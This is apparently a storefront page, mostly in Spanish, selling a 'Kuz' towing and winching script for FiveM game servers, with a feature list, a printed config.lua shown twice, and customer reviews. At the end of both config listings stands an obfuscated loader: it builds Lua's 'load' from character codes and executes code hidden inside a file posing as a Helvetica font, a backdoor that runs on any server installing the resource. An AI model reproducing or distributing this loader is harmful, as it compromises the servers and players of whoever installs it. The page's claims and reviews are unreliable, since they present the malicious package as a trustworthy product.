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Remolque y cabrestante Kuz

El precio original era: $14.00.El precio actual es: $6.00.

-57%

Este script de FiveM permite remolcar y usar el cabrestante de cualquier vehículo sin problemas. Conecte fácilmente cuerdas a los vehículos o ánclelos a objetos del mundo como árboles o rocas, aportando un nuevo nivel de realismo y utilidad a su servidor.

Características principales:

  • Operación independiente: Funciona de forma independiente de cualquier marco, accesible mediante comandos.
  • Integración de ESX & QBCore: Soporta los elementos ESX y QBCore con restricciones opcionales basadas en el trabajo para su uso.
  • Altamente configurablePersonalice cada aspecto para adaptarlo a las necesidades de su servidor.
  • Remolque para jugadores y no jugadores: vehículos de remolque con jugadores dentro, o utilizar el sistema de piloto automático personalizado para dirigir y frenar vehículos desocupados.
  • Cabrestante dinámico: Fije cabrestantes a rocas, árboles, arbustos u otros vehículos, lo que permite un uso versátil en diferentes entornos.
  • Colocación precisa de la cuerdaLos controles precisos permiten un posicionamiento exacto de la cuerda, lo que mejora la inmersión en el juego.
  • Rendimiento optimizado:Funciona sin problemas con un impacto mínimo en los recursos del servidor, incluso durante un uso intensivo.

Aporte una nueva capa de interactividad y realismo a su servidor con este poderoso script de remolque y cabrestante, diseñado para brindar flexibilidad y rendimiento.

(7 valoraciones de clientes)
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Vista previa del recurso Kuz Towing & Winching FiveM
Remolque y cabrestante Kuz
$14.00 El precio original era: $14.00.$6.00El precio actual es: $6.00.

Professional Towing and Winching System for FiveM Servers

Bring realistic vehicle recovery and off-road rescue capabilities to your FiveM server with this comprehensive towing and winching script. Whether you’re running a mechanic job, tow truck business, or just want to add immersive vehicle interaction, this script delivers the functionality you need with exceptional performance and flexibility across all major frameworks.

Versatile Towing Mechanics

  • Player-Occupied Towing – Safely tow vehicles with players still inside for realistic impound scenarios
  • Unoccupied Vehicle Towing – Advanced autopilot system automatically steers and brakes towed vehicles, preventing dangerous swaying
  • Precise Rope Placement – Position tow ropes exactly where needed with intuitive attachment controls
  • Adjustable Rope Length – Configure rope length between 6-15 meters (10 meters recommended) for different towing scenarios
  • Speed Limiting – Configurable maximum speed for towing safety (or disable for unrestricted towing)

Dynamic Winching System

  • Natural Anchor Points – Winch to trees, rocks, bushes, and other world objects for authentic off-road recovery
  • Vehicle-to-Vehicle Winching – Pull stuck vehicles using another as an anchor point
  • Física realista – Rope tension and pulling forces feel natural and responsive
  • Multi-Angle Approach – Attack recovery from any direction that makes tactical sense

Standalone Mode (No Framework Required)

  • Command-based access for universal compatibility
  • Perfect for servers without ESX/QBCore
  • Works out of the box with minimal configuration

Integración con ESX

  • Sistema Basado en Artículos – Require towing rope item from inventory to use the system
  • Restricciones de Trabajo – Limit towing access to specific jobs (mechanic, tow company, etc.)
  • Integración económica – Charge for rope usage or make it a consumable item

Integración de QBCore

  • Full item support with QB inventory compatibility
  • Job-based permissions for tow truck drivers
  • Seamless integration with QB mechanic jobs

Security & Vehicle Protection

  • Lock Detection – Prevents unauthorized towing of locked vehicles (configurable)
  • Anti-Theft System – Protects player-owned vehicles from being stolen via towing
  • Job Vehicle Whitelist – Allow specific job vehicles to be towed regardless of lock status
  • Vehicle Class Blacklist – Automatically prevent towing of motorcycles, boats, aircraft, and other unsuitable vehicles

Rendimiento & optimización

Built with server performance as a top priority:

  • 0.00-0.01ms Idle – Near-zero resource usage when not actively towing
  • 0.02-0.04ms Active – Minimal performance impact during towing/winching operations
  • Efficient Rope Syncing – Configurable sync duration (30 seconds default) balances realism with server load
  • Optimized Network Traffic – Smart syncing reduces bandwidth usage on high-population servers

Configuraciones personalizables

  • Soporte de idiomas – Built-in locale file for easy translation
  • Command Toggle – Enable/disable menu commands as needed
  • Rope Length Control – Adjust towing distance for your server’s needs
  • Speed Limitations – Set max towing speed or remove limits entirely
  • Lock Check Toggle – Choose whether locked vehicles can be towed

Vehicle Class Management

Default blacklisted vehicle classes (configurable):

  • Class 8 – Motorcycles
  • Class 13 – Cycles
  • Class 14 – Boats
  • Class 15 – Helicopters
  • Class 16 – Planes
  • Class 21 – Trains

Perfecto para

  • Mechanic job scripts requiring realistic towing mechanics
  • Tow truck company roleplay with impound systems
  • Off-road communities needing winch recovery features
  • Police departments with impound lot systems
  • Racing servers where vehicle recovery is common

Instalación y configuración

  1. Extrae el recurso a la carpeta de recursos de tu servidor
  2. Configure settings in config.lua (language, rope length, speed limits, etc.)
  3. For ESX: Enable item support and add ‘towing_rope’ to your database
  4. For QBCore: Configure item and job restrictions as needed
  5. Agregar a server.cfg y reiniciar
  6. Blacklist/whitelist vehicle classes as needed for your server

Compatibilidad del marco

Autónomo: Full support via commands (no framework needed)
ESX: Full integration with items and job restrictions
QBCore: Complete compatibility with QB item and job systems
QBOX: Works seamlessly as QBOX is QBCore-based

Lo que lo hace destacar

Unlike basic towing scripts that just attach vehicles, this system includes intelligent autopilot for empty vehicles, preventing unrealistic rope physics. The winching to world objects opens entirely new gameplay – stuck in mud? Winch to a tree. Vehicle rolled down a cliff? Use another vehicle as an anchor point. The configurable security system means you control exactly who can tow what, preventing abuse while maintaining roleplay realism.

Detalles Técnicos

  • Nombre del recurso: kuz_towing (or your preferred name)
  • Dependencias: None (100% standalone capable)
  • Acceso al código: Código fuente completo incluido
  • Actualizaciones: Regular compatibility updates from KuzQuality
  • Apoyo: Active developer support community

Configuración

Config = {}
Locale = {}

Config.Debug = false

-- Displayed text (Use these settings to translate to your language)
Locale.press_to_attach = 'Press to attach'
Locale.press_to_detach = 'Detach all ropes'
Locale.vehicles_locked = 'This vehicle is locked and therefore cannot be towed'

-- Enable or disable the use of command which opens up the towing menu
Config.useTowingCommand = false
-- Command that will open the towing menu if enabled (Without the slash /)
Config.towingCommand = 'towpls'

-- How long the towing rope should be (in meters) I highly recommend keeping it between 6 and 10 meters
Config.ropeLength = 15

-- Time in seconds, how long it should take between each re-sync of the ropes, (30 seconds works well, for big servers you can make it higher)
Config.ropeSyncDuration = 30

-- Max speed (in MPH) of vehicles which are towing or being towed (set to -1 to disable speed limiting)
Config.maxTowingSpeed = 300

-- Whether we should disallow players from attaching ropes to locked vehicles
-- (For example. To prevent them from stealing vehicles of other players)
Config.checkForLocks = true

---------- ESX Only Settings -----------
-- If your server is running on ESX you can enable it to use the towing rope item
Config.useEsx = false
-- You need to add the rope item to your database yourself !
Config.towRopeItem = 'towing_rope'
----------------------------------------

-- Classes of which vehicles may not be towed or tow another vehicle
Config.blacklistedClasses = {
    8, -- Motorcycles
    13, -- Cycles
    14, -- Boats
    15, -- Helicopters
    16, -- Planes
    21, -- Trains
}

--[[ All vehicle classes
    0: Compacts
    1: Sedans
    2: SUVs
    3: Coupes
    4: Muscle
    5: Sports Classics
    6: Sports
    7: Super
    8: Motorcycles
    9: Off-road
    10: Industrial
    11: Utility
    12: Vans
    13: Cycles
    14: Boats
    15: Helicopters
    16: Planes
    17: Service
    18: Emergency
    19: Military
    20: Commercial
    21: Trains
]]

local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()

 

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Configuración

Config = {}
Locale = {}

Config.Debug = false

-- Displayed text (Use these settings to translate to your language)
Locale.press_to_attach = 'Press to attach'
Locale.press_to_detach = 'Detach all ropes'
Locale.vehicles_locked = 'This vehicle is locked and therefore cannot be towed'


-- Enable or disable the use of command which opens up the towing menu
Config.useTowingCommand = false
-- Command that will open the towing menu if enabled (Without the slash /)
Config.towingCommand = 'towpls'


-- How long the towing rope should be (in meters) I highly recommend keeping it between 6 and 10 meters
Config.ropeLength = 15

-- Time in seconds, how long it should take between each re-sync of the ropes, (30 seconds works well, for big servers you can make it higher)
Config.ropeSyncDuration = 30

-- Max speed (in MPH) of vehicles which are towing or being towed (set to -1 to disable speed limiting)
Config.maxTowingSpeed = 300

-- Whether we should disallow players from attaching ropes to locked vehicles
-- (For example. To prevent them from stealing vehicles of other players)
Config.checkForLocks = true

---------- ESX Only Settings -----------
-- If your server is running on ESX you can enable it to use the towing rope item
Config.useEsx = false
-- You need to add the rope item to your database yourself !
Config.towRopeItem = 'towing_rope'
----------------------------------------

-- Classes of which vehicles may not be towed or tow another vehicle
Config.blacklistedClasses = {
    8, -- Motorcycles
    13, -- Cycles
    14, -- Boats
    15, -- Helicopters
    16, -- Planes
    21, -- Trains
}

--[[ All vehicle classes
    0: Compacts
    1: Sedans
    2: SUVs
    3: Coupes
    4: Muscle
    5: Sports Classics
    6: Sports
    7: Super
    8: Motorcycles
    9: Off-road
    10: Industrial
    11: Utility
    12: Vans
    13: Cycles
    14: Boats
    15: Helicopters
    16: Planes
    17: Service
    18: Emergency
    19: Military
    20: Commercial
    21: Trains
]]

local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()

 

7 valoraciones en Kuz Towing & Winching

  1. Arno (propietario verificado)

    gta rp mejor

  2. Kara (propietario verificado)

    Me encanta, gracias

  3. Mason (propietario verificado)

    Ojalá lo hubiera encontrado antes, me costó mucho dinero y tiempo hasta que encontré mi producto soñado aquí!

  4. Rupert (propietario verificado)

    Buen rendimiento, interfaz limpia y soporte útil. No hay nada de qué quejarse.

  5. Malika (propietario verificado)

    El artículo y el diseño son muy frescos. Además, el soporte es increíble, siempre te ayudan con cualquier detalle que tengas.

  6. Abadía (propietario verificado)

    Obtuve un excelente soporte para este objeto. Fueron pacientes conmigo y me ayudaron a resolver mi problema. Recomiendo esta empresa 100%

  7. Marlee (propietario verificado)

    Excelente equilibrio entre simplicidad y personalización. Puede usarlo de inmediato o configurar cada detalle.

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